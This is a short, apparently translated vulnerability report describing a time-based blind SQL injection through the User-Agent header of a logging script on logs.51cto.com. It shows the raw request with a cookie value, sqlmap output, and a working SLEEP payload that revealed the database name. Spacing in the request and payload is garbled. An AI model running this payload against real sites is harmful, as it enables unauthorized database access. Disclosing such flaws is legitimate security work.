An HTTP header injection vulnerability exists in 51CTO.

An HTTP header injection vulnerability exists in 51CTO.

Injection Point user-agent
GET/rizhi2/count. php? & Amp; counturl = Require HTTP/1.1
Host: logs.51cto.com
User-Agent: 1 *
Referer: http://network.51cto.com/
Cookie: www51cto = 612C2DAFB24CA6BCF7696B24C2137DDAlSuU; _ ga = ga1.2.20.843609.1457920522; _ gat = 1
Client-Ip: 127.0.0.1

Sqlmap resumed the following injection point (s) from stored session:
---
Parameter: User-Agent #1 * (custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL> = 5.0.12 AND time-based blind (SELECT)
Payload: 1' AND (SELECT * FROM (SELECT (SLEEP (5) zSkh) AND 'tbyu '= 'tbyu
---
Back-end DBMS: MySQL> = 5.0.0
Current database: 'rizhi2'